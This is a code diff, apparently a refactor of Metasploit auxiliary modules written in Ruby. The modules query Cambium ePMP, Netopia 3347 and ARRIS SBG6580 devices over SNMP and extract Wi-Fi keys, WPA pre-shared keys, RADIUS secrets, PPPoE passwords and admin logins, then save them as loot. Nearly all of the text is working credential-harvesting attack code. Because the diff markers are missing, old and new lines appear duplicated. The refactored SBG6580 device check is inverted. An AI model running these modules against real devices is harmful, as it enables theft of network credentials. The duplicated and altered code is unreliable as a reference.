print_good("Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption} \n")
|
||||
print_status("Fetching WIFI Information...\n")
|
||||
print_good("Wireless Interface SSID: #{wireless_interface_ssid}")
|
||||
print_good("Wireless Interface Encryption Key: #{wireless_interface_encryptionkey}")
|
||||
print_good("Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): #{wireless_interface_encryption} \n")
|
||||
|
||||
print_status("Fetching WIFI Radius Information...\n")
|
||||
print_good("RADIUS server info: #{wireless_radius_serverinfo}")
|
||||
print_good("RADIUS server port: #{wireless_radius_serverport}")
|
||||
print_good("RADIUS server secret: #{wireless_radius_serversecret}")
|
||||
print_good("Wireless Radius Username: #{wireless_radius_username}")
|
||||
print_good("Wireless Radius Password: #{wireless_radius_password} \n")
|
||||
print_status("Fetching WIFI Radius Information...\n")
|
||||
print_good("RADIUS server info: #{wireless_radius_serverinfo}")
|
||||
print_good("RADIUS server port: #{wireless_radius_serverport}")
|
||||
print_good("RADIUS server secret: #{wireless_radius_serversecret}")
|
||||
print_good("Wireless Radius Username: #{wireless_radius_username}")
|
||||
print_good("Wireless Radius Password: #{wireless_radius_password} \n")
|
||||
|
||||
print_status("Fetching Network PPPoE Information...\n")
|
||||
print_good("Network PPPoE Service Name: #{network_wan_pppoeservice}")
|
||||
print_good("Network PPPoE Username: #{network_wan_pppoeusername}")
|
||||
print_good("Network PPPoE Password: #{network_wan_pppoepassword} \n")
|
||||
print_status("Fetching Network PPPoE Information...\n")
|
||||
print_good("Network PPPoE Service Name: #{network_wan_pppoeservice}")
|
||||
print_good("Network PPPoE Username: #{network_wan_pppoeusername}")
|
||||
print_good("Network PPPoE Password: #{network_wan_pppoepassword} \n")
|
||||
|
||||
# set request
|
||||
backup_oid = '1.3.6.1.4.1.17713.21.6.4.10.0'
|
||||
enable_backup = '1'
|
||||
varbind = SNMP::VarBind.new(backup_oid, SNMP::OctetString.new(enable_backup))
|
||||
snmp.set(varbind)
|
||||
backup_location_oid = '1.3.6.1.4.1.17713.21.6.4.13.0'
|
||||
backup_location = snmp.get_value(backup_location_oid)
|
||||
# set request
|
||||
backup_oid = '1.3.6.1.4.1.17713.21.6.4.10.0'
|
||||
enable_backup = '1'
|
||||
varbind = SNMP::VarBind.new(backup_oid, SNMP::OctetString.new(enable_backup))
|
||||
snmp.set(varbind)
|
||||
backup_location_oid = '1.3.6.1.4.1.17713.21.6.4.13.0'
|
||||
backup_location = snmp.get_value(backup_location_oid)
|
||||
|
||||
if @backup_location.present? == false
|
||||
print_status('Backup needs to triggered manually. Run the following commands:')
|
||||
print_status(" snmpset -c <SNMP-RW-string> -v 1 #{datastore['RHOST']} 1.3.6.1.4.1.17713.21.6.4.10.0 i 1")
|
||||
print_status(" snmpget -c <SNMP-RW-string> -v 1 #{datastore['RHOST']} 1.3.6.1.4.1.17713.21.6.4.13.0 \n")
|
||||
else
|
||||
print_good("Configuration backed-up for direct download at: #{backup_location}")
|
||||
end
|
||||
|
||||
# Woot we got loot.
|
||||
loot_name = 'snmp_loot'
|
||||
loot_type = 'text/plain'
|
||||
loot_filename = 'epmp1000_snmp_loot.txt'
|
||||
loot_desc = 'Cambium ePMP configuration data'
|
||||
p = store_loot(loot_name, loot_type, datastore['RHOST'], epmp_info, loot_filename, loot_desc)
|
||||
print_good("Cambium ePMP loot saved at #{p}")
|
||||
|
||||
rescue SNMP::RequestTimeout
|
||||
print_error("#{ip} SNMP request timeout.")
|
||||
rescue Rex::ConnectionError
|
||||
print_error("#{ip} Connection refused.")
|
||||
rescue SNMP::InvalidIpAddress
|
||||
print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
|
||||
rescue SNMP::UnsupportedVersion
|
||||
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("Unknown error: #{e.class} #{e}")
|
||||
elog(e)
|
||||
ensure
|
||||
disconnect_snmp
|
||||
if @backup_location.present? == false
|
||||
print_status('Backup needs to triggered manually. Run the following commands:')
|
||||
print_status(" snmpset -c <SNMP-RW-string> -v 1 #{datastore['RHOST']} 1.3.6.1.4.1.17713.21.6.4.10.0 i 1")
|
||||
print_status(" snmpget -c <SNMP-RW-string> -v 1 #{datastore['RHOST']} 1.3.6.1.4.1.17713.21.6.4.13.0 \n")
|
||||
else
|
||||
print_good("Configuration backed-up for direct download at: #{backup_location}")
|
||||
end
|
||||
|
||||
# Woot we got loot.
|
||||
loot_name = 'snmp_loot'
|
||||
loot_type = 'text/plain'
|
||||
loot_filename = 'epmp1000_snmp_loot.txt'
|
||||
loot_desc = 'Cambium ePMP configuration data'
|
||||
p = store_loot(loot_name, loot_type, datastore['RHOST'], epmp_info, loot_filename, loot_desc)
|
||||
print_good("Cambium ePMP loot saved at #{p}")
|
||||
rescue SNMP::RequestTimeout
|
||||
print_error("#{ip} SNMP request timeout.")
|
||||
rescue Rex::ConnectionError
|
||||
print_error("#{ip} Connection refused.")
|
||||
rescue SNMP::InvalidIpAddress
|
||||
print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
|
||||
rescue SNMP::UnsupportedVersion
|
||||
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
|
||||
rescue ::Interrupt
|
||||
raise $ERROR_INFO
|
||||
rescue StandardError => e
|
||||
print_error("Unknown error: #{e.class} #{e}")
|
||||
elog(e)
|
||||
ensure
|
||||
disconnect_snmp
|
||||
end
|
||||
end
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'English'
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SNMPClient
|
||||
include Msf::Auxiliary::Report
|
||||
@@ -10,90 +11,96 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Netopia 3347 Cable Modem Wifi Enumeration',
|
||||
'Name' => 'Netopia 3347 Cable Modem Wifi Enumeration',
|
||||
'Description' => %q{
|
||||
This module extracts WEP keys and WPA preshared keys from
|
||||
certain Netopia cable modems.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ]
|
||||
],
|
||||
'Author' => ['Deral "PercentX" Heiland'],
|
||||
'License' => MSF_LICENSE
|
||||
'References' => [
|
||||
[ 'URL', 'http://web.archive.org/web/20220819052410/https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ]
|
||||
],
|
||||
'Author' => ['Deral "PercentX" Heiland'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
output_data = {}
|
||||
begin
|
||||
snmp = connect_snmp
|
||||
snmp = connect_snmp
|
||||
|
||||
if snmp.get_value('sysDescr.0') =~ /Netopia 3347/
|
||||
|
||||
wifistatus = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.1.0')
|
||||
if wifistatus == "1"
|
||||
wifiinfo = ""
|
||||
ssid = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.2.1')
|
||||
print_good("#{ip}")
|
||||
print_good("SSID: #{ssid}")
|
||||
wifiinfo << "SSID: #{ssid}" << "\n"
|
||||
|
||||
wifiversion = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.4.1')
|
||||
if wifiversion == "1"
|
||||
|
||||
# WEP enabled
|
||||
elsif wifiversion == ("2"||"3")
|
||||
wepkey1 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.1')
|
||||
print_good("WEP KEY1: #{wepkey1}")
|
||||
wifiinfo << "WEP KEY1: #{wepkey1}" << "\n"
|
||||
wepkey2 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.2')
|
||||
print_good("WEP KEY2: #{wepkey2}")
|
||||
wifiinfo << "WEP KEY2: #{wepkey2}" << "\n"
|
||||
wepkey3 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.3')
|
||||
print_good("WEP KEY3: #{wepkey3}")
|
||||
wifiinfo << "WEP KEY3: #{wepkey3}" << "\n"
|
||||
wepkey4 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.4')
|
||||
print_good("WEP KEY4: #{wepkey4}")
|
||||
wifiinfo << "WEP KEY4: #{wepkey4}" << "\n"
|
||||
actkey = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.13.0')
|
||||
print_good("Active Wep key is Key#{actkey}")
|
||||
wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n"
|
||||
|
||||
# WPA enabled
|
||||
elsif wifiversion == "4"
|
||||
print_line("Device is configured for WPA ")
|
||||
wpapsk = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.5.1')
|
||||
print_good("WPA PSK: #{wpapsk}")
|
||||
wifiinfo << "WPA PSK: #{wpapsk}" << "\n"
|
||||
|
||||
# WPA Enterprise enabled
|
||||
elsif wifiversion == "5"
|
||||
print_line("Device is configured for WPA enterprise")
|
||||
else
|
||||
print_line("FAILED")
|
||||
end
|
||||
|
||||
else
|
||||
print_line("WIFI is not enabled")
|
||||
end
|
||||
sys_desc = snmp.get_value('sysDescr.0')
|
||||
unless sys_desc =~ /Netopia 3347/
|
||||
print_error("#{ip} system is not Netopia 3347: #{sys_desc}")
|
||||
return
|
||||
end
|
||||
# Woot we got loot.
|
||||
loot_name = "netopia_wifi"
|
||||
loot_type = "text/plain"
|
||||
loot_filename = "netopia_wifi.txt"
|
||||
loot_desc = "Netopia Wifi configuration data"
|
||||
p = store_loot(loot_name, loot_type, datastore['RHOST'], wifiinfo , loot_filename, loot_desc)
|
||||
print_good("WiFi Data saved: #{p}")
|
||||
|
||||
rescue ::SNMP::UnsupportedVersion
|
||||
rescue ::SNMP::RequestTimeout
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("#{ip} - Error: #{e.class} #{e}")
|
||||
disconnect_snmp
|
||||
end
|
||||
wifistatus = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.1.0')
|
||||
|
||||
if wifistatus != '1'
|
||||
print_line('WiFi is not enabled')
|
||||
return
|
||||
end
|
||||
|
||||
wifiinfo = ''
|
||||
ssid = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.2.1')
|
||||
print_good(ip.to_s)
|
||||
print_good("SSID: #{ssid}")
|
||||
wifiinfo << "SSID: #{ssid}" << "\n"
|
||||
|
||||
wifiversion = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.4.1')
|
||||
if wifiversion == '1'
|
||||
|
||||
# WEP enabled
|
||||
elsif wifiversion == ('2' || '3')
|
||||
wepkey1 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.1')
|
||||
print_good("WEP KEY1: #{wepkey1}")
|
||||
wifiinfo << "WEP KEY1: #{wepkey1}" << "\n"
|
||||
wepkey2 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.2')
|
||||
print_good("WEP KEY2: #{wepkey2}")
|
||||
wifiinfo << "WEP KEY2: #{wepkey2}" << "\n"
|
||||
wepkey3 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.3')
|
||||
print_good("WEP KEY3: #{wepkey3}")
|
||||
wifiinfo << "WEP KEY3: #{wepkey3}" << "\n"
|
||||
wepkey4 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.4')
|
||||
print_good("WEP KEY4: #{wepkey4}")
|
||||
wifiinfo << "WEP KEY4: #{wepkey4}" << "\n"
|
||||
actkey = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.13.0')
|
||||
print_good("Active Wep key is Key#{actkey}")
|
||||
wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n"
|
||||
|
||||
# WPA enabled
|
||||
elsif wifiversion == '4'
|
||||
print_line('Device is configured for WPA ')
|
||||
wpapsk = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.5.1')
|
||||
print_good("WPA PSK: #{wpapsk}")
|
||||
wifiinfo << "WPA PSK: #{wpapsk}" << "\n"
|
||||
|
||||
# WPA Enterprise enabled
|
||||
elsif wifiversion == '5'
|
||||
print_line('Device is configured for WPA enterprise')
|
||||
else
|
||||
print_line('FAILED')
|
||||
end
|
||||
|
||||
# Woot we got loot.
|
||||
loot_name = 'netopia_wifi'
|
||||
loot_type = 'text/plain'
|
||||
loot_filename = 'netopia_wifi.txt'
|
||||
loot_desc = 'Netopia WiFi configuration data'
|
||||
p = store_loot(loot_name, loot_type, datastore['RHOST'], wifiinfo, loot_filename, loot_desc)
|
||||
print_good("WiFi Data saved: #{p}")
|
||||
rescue ::SNMP::UnsupportedVersion => e
|
||||
vprint_error(e.message)
|
||||
rescue ::SNMP::RequestTimeout => e
|
||||
vprint_error(e.message)
|
||||
rescue ::Interrupt
|
||||
raise $ERROR_INFO
|
||||
rescue StandardError => e
|
||||
print_error("#{ip} - Error: #{e.class} #{e}")
|
||||
disconnect_snmp
|
||||
end
|
||||
end
|
||||
|
||||
@@ -3,224 +3,234 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'English'
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SNMPClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module',
|
||||
'Description' => 'This module allows SNMP enumeration of the ARRIS / Motorola
|
||||
SURFboard SBG6580 Series Wi-Fi Cable Modem Gateway. It supports the username
|
||||
and password for the device user interface as well as wireless network keys
|
||||
and information.
|
||||
The default community used is "public".',
|
||||
'References' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module',
|
||||
'Description' => %q{
|
||||
This module allows SNMP enumeration of the ARRIS / Motorola
|
||||
SURFboard SBG6580 Series Wi-Fi Cable Modem Gateway. It supports the username
|
||||
and password for the device user interface as well as wireless network keys
|
||||
and information.
|
||||
The default community used is "public".
|
||||
},
|
||||
'References' => [
|
||||
[ 'URL', 'https://seclists.org/fulldisclosure/2014/May/79' ],
|
||||
[ 'URL', 'https://web.archive.org/web/20150206092553/http://www.arrisi.com/modems/datasheet/SBG6580/SBG6580_UserGuide.pdf' ],
|
||||
[ 'OSVDB', '110555' ]
|
||||
],
|
||||
'Author' => 'Matthew Kienow <mkienow[at]inokii.com>',
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
'Author' => 'Matthew Kienow <mkienow[at]inokii.com>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
# change SNMP version option to match device specification
|
||||
register_options(
|
||||
[
|
||||
OptString.new('VERSION', [ true, 'SNMP Version <1/2c>', '2c' ])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
snmp = connect_snmp
|
||||
|
||||
begin
|
||||
snmp = connect_snmp
|
||||
# represents the order of the output data fields
|
||||
fields_order = [
|
||||
'Host IP', 'Username', 'Password', 'SSID', '802.11 Band',
|
||||
'Network Authentication Mode', 'WEP Passphrase', 'WEP Encryption',
|
||||
'WEP Key 1', 'WEP Key 2', 'WEP Key 3', 'WEP Key 4',
|
||||
'Current Network Key', 'WPA Encryption', 'WPA Pre-Shared Key (PSK)',
|
||||
'RADIUS Server', 'RADIUS Port', 'RADIUS Key'
|
||||
]
|
||||
|
||||
# represents the order of the output data fields
|
||||
fields_order = [
|
||||
"Host IP", "Username", "Password", "SSID", "802.11 Band",
|
||||
"Network Authentication Mode", "WEP Passphrase", "WEP Encryption",
|
||||
"WEP Key 1", "WEP Key 2", "WEP Key 3", "WEP Key 4",
|
||||
"Current Network Key", "WPA Encryption", "WPA Pre-Shared Key (PSK)",
|
||||
"RADIUS Server", "RADIUS Port", "RADIUS Key"
|
||||
]
|
||||
output_data = { 'Host IP' => ip }
|
||||
|
||||
output_data = {"Host IP" => ip}
|
||||
sys_descr = snmp.get_value('sysDescr.0')
|
||||
if is_valid_snmp_value(sys_descr) && sys_descr.to_s =~ /SBG6580/
|
||||
print_error("#{ip} does not appear to be a SBG6580.")
|
||||
return
|
||||
end
|
||||
|
||||
sys_descr = snmp.get_value('sysDescr.0')
|
||||
if is_valid_snmp_value(sys_descr) and sys_descr.to_s =~ /SBG6580/
|
||||
# print connected status after the first query so if there are
|
||||
# any timeout or connectivity errors; the code would already
|
||||
# have jumped to error handling where the error status is
|
||||
# already being displayed.
|
||||
print_good("#{ip}, Connected.")
|
||||
# print connected status after the first query so if there are
|
||||
# any timeout or connectivity errors; the code would already
|
||||
# have jumped to error handling where the error status is
|
||||
# already being displayed.
|
||||
print_good("#{ip}, Connected.")
|
||||
|
||||
# attempt to get the username and password for the device user interface
|
||||
# using the CableHome cabhPsDevMib MIB module which defines the
|
||||
# basic management objects for the Portal Services (PS) logical element
|
||||
# of a CableHome compliant Residential Gateway device
|
||||
device_ui_selection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0')
|
||||
if is_valid_snmp_value(device_ui_selection) and device_ui_selection.to_i == 1
|
||||
# manufacturerLocal(1) - indicates Portal Services is using the vendor
|
||||
# web user interface shipped with the device
|
||||
device_ui_username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0')
|
||||
if is_valid_snmp_value(device_ui_username)
|
||||
output_data["Username"] = device_ui_username.to_s
|
||||
end
|
||||
|
||||
device_ui_password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
|
||||
if is_valid_snmp_value(device_ui_password)
|
||||
output_data["Password"] = device_ui_password.to_s
|
||||
end
|
||||
end
|
||||
|
||||
wifi_ifindex = get_primary_wifi_ifindex(snmp)
|
||||
if wifi_ifindex < 1
|
||||
print_status("Primary WiFi is disabled on the device")
|
||||
end
|
||||
|
||||
ssid = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(ssid)
|
||||
output_data["SSID"] = ssid.to_s
|
||||
end
|
||||
|
||||
wireless_band = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.1.18.0')
|
||||
if is_valid_snmp_value(wireless_band)
|
||||
output_data["802.11 Band"] = get_wireless_band_name(wireless_band.to_i)
|
||||
end
|
||||
|
||||
network_auth_mode = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.5.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(network_auth_mode)
|
||||
network_auth_mode = network_auth_mode.to_i
|
||||
network_auth_mode_name = get_network_auth_mode_name(network_auth_mode)
|
||||
output_data["Network Authentication Mode"] = network_auth_mode_name
|
||||
end
|
||||
|
||||
case network_auth_mode
|
||||
when 1, 6
|
||||
# WEP, WEP 802.1x Authentication
|
||||
wep_passphrase = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.3.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(wep_passphrase)
|
||||
output_data["WEP Passphrase"] = wep_passphrase.to_s
|
||||
end
|
||||
|
||||
wep_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.2.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(wep_encryption)
|
||||
wep_encryption = wep_encryption.to_i
|
||||
else
|
||||
wep_encryption = -1
|
||||
end
|
||||
|
||||
wep_encryption_name = "Unknown"
|
||||
wep_key1 = wep_key2 = wep_key3 = wep_key4 = nil
|
||||
# get appropriate WEP keys based on wep_encryption setting
|
||||
if wep_encryption == 1
|
||||
wep_encryption_name = "64-bit"
|
||||
wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.1")
|
||||
wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.2")
|
||||
wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.3")
|
||||
wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.4")
|
||||
elsif wep_encryption == 2
|
||||
wep_encryption_name = "128-bit"
|
||||
wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.1")
|
||||
wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.2")
|
||||
wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.3")
|
||||
wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.4")
|
||||
end
|
||||
|
||||
output_data["WEP Encryption"] = wep_encryption_name
|
||||
if is_valid_snmp_value(wep_key1)
|
||||
output_data["WEP Key 1"] = wep_key1.unpack('H*')[0]
|
||||
end
|
||||
if is_valid_snmp_value(wep_key2)
|
||||
output_data["WEP Key 2"] = wep_key2.unpack('H*')[0]
|
||||
end
|
||||
if is_valid_snmp_value(wep_key3)
|
||||
output_data["WEP Key 3"] = wep_key3.unpack('H*')[0]
|
||||
end
|
||||
if is_valid_snmp_value(wep_key4)
|
||||
output_data["WEP Key 4"] = wep_key4.unpack('H*')[0]
|
||||
end
|
||||
|
||||
# get current network key
|
||||
current_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(current_key)
|
||||
output_data["Current Network Key"] = current_key.to_s
|
||||
end
|
||||
|
||||
if network_auth_mode == 6
|
||||
get_radius_info(snmp, wifi_ifindex, output_data)
|
||||
end
|
||||
|
||||
when 2, 3, 4, 5, 7, 8
|
||||
# process all flavors of WPA
|
||||
wpa_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.1.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(wpa_encryption)
|
||||
output_data["WPA Encryption"] = get_wpa_encryption_name(wpa_encryption.to_i)
|
||||
end
|
||||
|
||||
wpa_psk = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(wpa_psk)
|
||||
output_data["WPA Pre-Shared Key (PSK)"] = wpa_psk.to_s
|
||||
end
|
||||
|
||||
case network_auth_mode
|
||||
when 4, 5, 8
|
||||
get_radius_info(snmp, wifi_ifindex, output_data)
|
||||
end
|
||||
end
|
||||
|
||||
# output
|
||||
print_line("")
|
||||
print_status("Device information:\n")
|
||||
line = ""
|
||||
width = 30 # name field width
|
||||
|
||||
fields_order.each {|k|
|
||||
if not output_data.has_key?(k)
|
||||
next
|
||||
end
|
||||
|
||||
v = output_data[k]
|
||||
if (v.nil? or v.empty? or v =~ /Null/)
|
||||
v = '-'
|
||||
end
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'udp',
|
||||
:sname => 'snmp',
|
||||
:port => datastore['RPORT'].to_i,
|
||||
:type => "snmp.#{k}",
|
||||
:data => { :data => v }
|
||||
)
|
||||
|
||||
line << sprintf("%s%s: %s\n", k, " "*([0,width-k.length].max), v)
|
||||
}
|
||||
|
||||
print_line(line)
|
||||
else
|
||||
print_error("#{ip} does not appear to be a SBG6580.")
|
||||
# attempt to get the username and password for the device user interface
|
||||
# using the CableHome cabhPsDevMib MIB module which defines the
|
||||
# basic management objects for the Portal Services (PS) logical element
|
||||
# of a CableHome compliant Residential Gateway device
|
||||
device_ui_selection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0')
|
||||
if is_valid_snmp_value(device_ui_selection) && (device_ui_selection.to_i == 1)
|
||||
# manufacturerLocal(1) - indicates Portal Services is using the vendor
|
||||
# web user interface shipped with the device
|
||||
device_ui_username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0')
|
||||
if is_valid_snmp_value(device_ui_username)
|
||||
output_data['Username'] = device_ui_username.to_s
|
||||
end
|
||||
|
||||
rescue SNMP::RequestTimeout
|
||||
print_error("#{ip} SNMP request timeout.")
|
||||
rescue Rex::ConnectionError
|
||||
print_error("#{ip} Connection refused.")
|
||||
rescue SNMP::InvalidIpAddress
|
||||
print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
|
||||
rescue SNMP::UnsupportedVersion
|
||||
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("Unknown error: #{e.class} #{e}")
|
||||
elog(e)
|
||||
ensure
|
||||
disconnect_snmp
|
||||
device_ui_password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
|
||||
if is_valid_snmp_value(device_ui_password)
|
||||
output_data['Password'] = device_ui_password.to_s
|
||||
end
|
||||
end
|
||||
|
||||
wifi_ifindex = get_primary_wifi_ifindex(snmp)
|
||||
if wifi_ifindex < 1
|
||||
print_status('Primary WiFi is disabled on the device')
|
||||
end
|
||||
|
||||
ssid = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(ssid)
|
||||
output_data['SSID'] = ssid.to_s
|
||||
end
|
||||
|
||||
wireless_band = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.1.18.0')
|
||||
if is_valid_snmp_value(wireless_band)
|
||||
output_data['802.11 Band'] = get_wireless_band_name(wireless_band.to_i)
|
||||
end
|
||||
|
||||
network_auth_mode = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.5.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(network_auth_mode)
|
||||
network_auth_mode = network_auth_mode.to_i
|
||||
network_auth_mode_name = get_network_auth_mode_name(network_auth_mode)
|
||||
output_data['Network Authentication Mode'] = network_auth_mode_name
|
||||
end
|
||||
|
||||
case network_auth_mode
|
||||
when 1, 6
|
||||
# WEP, WEP 802.1x Authentication
|
||||
wep_passphrase = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.3.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(wep_passphrase)
|
||||
output_data['WEP Passphrase'] = wep_passphrase.to_s
|
||||
end
|
||||
|
||||
wep_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.2.#{wifi_ifindex}")
|
||||
if is_valid_snmp_value(wep_encryption)
|
||||
wep_encryption = wep_encryption.to_i
|
||||
else
|
||||
wep_encryption = -1
|
||||
end
|
||||
|
||||
wep_encryption_name = 'Unknown'
|
||||
wep_key1 = wep_key2 = wep_key3 = wep_key4 = nil
|
||||
# get appropriate WEP keys based on wep_encryption setting
|
||||
if wep_encryption == 1
|
||||
wep_encryption_name = '64-bit'
|
||||
wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.1")
|
||||
wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.2")
|
||||
wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.3")
|
||||
wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.4")
|
||||
elsif wep_encryption == 2
|
||||
wep_encryption_name = '128-bit'
|
||||
wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.1")
|
||||
wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.2")
|
||||
wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.3")
|
||||
wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.4")
|
||||
end
|
||||
|
||||
output_data['WEP Encryption'] = wep_encryption_name
|
||||
if is_valid_snmp_value(wep_key1)
|
||||
output_data['WEP Key 1'] = wep_key1.unpack('H*')[0]
|
||||
end
|
||||
if is_valid_snmp_value(wep_key2)
|
||||
output_data['WEP Key 2'] = wep_key2.unpack('H*')[0]
|
||||
end
|
||||
if is_valid_snmp_value(wep_key3)
|
||||
